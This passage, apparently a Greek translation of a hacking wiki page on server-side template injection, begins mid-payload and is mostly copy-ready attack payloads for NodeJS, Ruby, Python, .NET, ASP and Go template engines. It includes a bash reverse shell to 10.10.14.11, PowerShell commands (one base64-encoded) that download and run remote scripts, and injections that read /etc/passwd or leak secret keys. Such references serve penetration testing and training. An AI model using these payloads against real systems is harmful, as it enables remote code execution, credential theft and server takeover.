"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Περισσότερες πληροφορίες

NodeJS expression sandboxes (vm2 / isolated-vm)

Ορισμένοι κατασκευαστές ροών εργασίας αξιολογούν εκφράσεις που ελέγχονται από τον χρήστη μέσα σε Node sandboxes (vm2, isolated-vm), ωστόσο το context της έκφρασης εξακολουθεί να εκθέτει το this.process.mainModule.require. Αυτό επιτρέπει σε έναν επιτιθέμενο να φορτώσει το child_process και να εκτελέσει εντολές OS ακόμη και όταν οι αφιερωμένοι κόμβοι “Execute Command” είναι απενεργοποιημένοι:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Άλλα NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Περισσότερες πληροφορίες

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Περισσότερες πληροφορίες

Άλλα Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Δείτε την ακόλουθη σελίδα για να μάθετε κόλπα σχετικά με την εκτέλεση αυθαίρετων εντολών παρακάμπτοντας sandboxes σε python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Περισσότερες πληροφορίες

Jinja2 (Python)

Official website

Η Jinja2 είναι μια πλήρως λειτουργική template engine για Python. Παρέχει πλήρη υποστήριξη unicode, ένα προαιρετικό ενσωματωμένο sandboxed execution environment, είναι ευρέως χρησιμοποιούμενη και αδειοδοτημένη με BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Μορφή προτύπου

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE που δεν εξαρτάται από __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Περισσότερες λεπτομέρειες για το πώς να εκμεταλλευτείτε το Jinja:

Jinja2 SSTI

Άλλα payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Περισσότερες πληροφορίες

Άλλο Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAFUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Η μέθοδος .NET System.Diagnostics.Process.Start μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διεργασία στον server και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευπαθούς webapp στο https://github.com/cnotin/RazorVulnerableApp

Περισσότερες πληροφορίες

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Τίποτα
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Περισσότερες Πληροφορίες

.Net Παράκαμψη περιορισμών

Οι μηχανισμοί Reflection του .NET μπορούν να χρησιμοποιηθούν για να παρακάμψουν blacklisting ή την απουσία κλάσεων στο assembly. Τα DLL μπορούν να φορτωθούν κατά το runtime με μεθόδους και ιδιότητες προσβάσιμες από βασικά αντικείμενα.

Τα DLL μπορούν να φορτωθούν με:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - από το filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - απευθείας από το request.

Πλήρης εκτέλεση εντολής:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Περισσότερες Πληροφορίες

Mojolicious (Perl)

Ακόμη κι αν είναι perl, χρησιμοποιεί tags όπως τα ERB στο Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Στη μηχανή template του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα payloads:

  • {{ . }}: Αποκαλύπτει τη δομή των δεδομένων εισόδου. Για παράδειγμα, αν περαστεί ένα αντικείμενο με ιδιότητα Password, το {{ .Password }} μπορεί να την αποκαλύψει.
  • {{printf "%s" "ssti" }}: Αναμένεται να εμφανίσει τη συμβολοσειρά “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Αυτά τα payloads θα πρέπει να επιστρέψουν “ssti” χωρίς να προσθέτουν “html” ή “js”. Περαιτέρω οδηγίες μπορούν να εξερευνήσουν στην τεκμηρίωση του Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

Εκμετάλλευση XSS

Με το package text/template, η εκμετάλλευση XSS μπορεί να είναι απλή με την άμεση εισαγωγή του payload. Αντιθέτως, το package html/template κωδικοποιεί την απάντηση για να το αποτρέψει (π.χ., {{"<script>alert(1)</script>"}} δίνει &lt;script&gt;alert(1)&lt;/script&gt;). Ωστόσο, ο ορισμός και η κλήση template στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Αντιγραφή κώδικα

Εκμετάλλευση RCE

Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template και text/template. Το module text/template επιτρέπει την κλήση οποιασδήποτε δημόσιας function απευθείας (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο html/template. Documentation for these modules is available here for html/template and here for text/template.

Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το αντικείμενο που παρέχεται έχει μέθοδο System που εκτελεί εντολές, μπορεί να εκμεταλλευτεί ως {{ .System "ls" }}. Συνήθως απαιτείται πρόσβαση στον κώδικα πηγής για να γίνει εκμετάλλευση, όπως στο δεδομένο παράδειγμα:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Περισσότερες πληροφορίες

LESS (CSS Preprocessor)

LESS είναι ένας δημοφιλής CSS pre-processor που προσθέτει μεταβλητές, mixins, συναρτήσεις και την ισχυρή οδηγία @import. Κατά τη μεταγλώττιση, η μηχανή LESS θα ανακτήσει τους πόρους που αναφέρονται σε δηλώσεις @import και θα ενσωματώσει (“inline”) το περιεχόμενό τους στο τελικό CSS όταν χρησιμοποιείται η επιλογή (inline).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

If you think it could be useful, read:

Tools

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks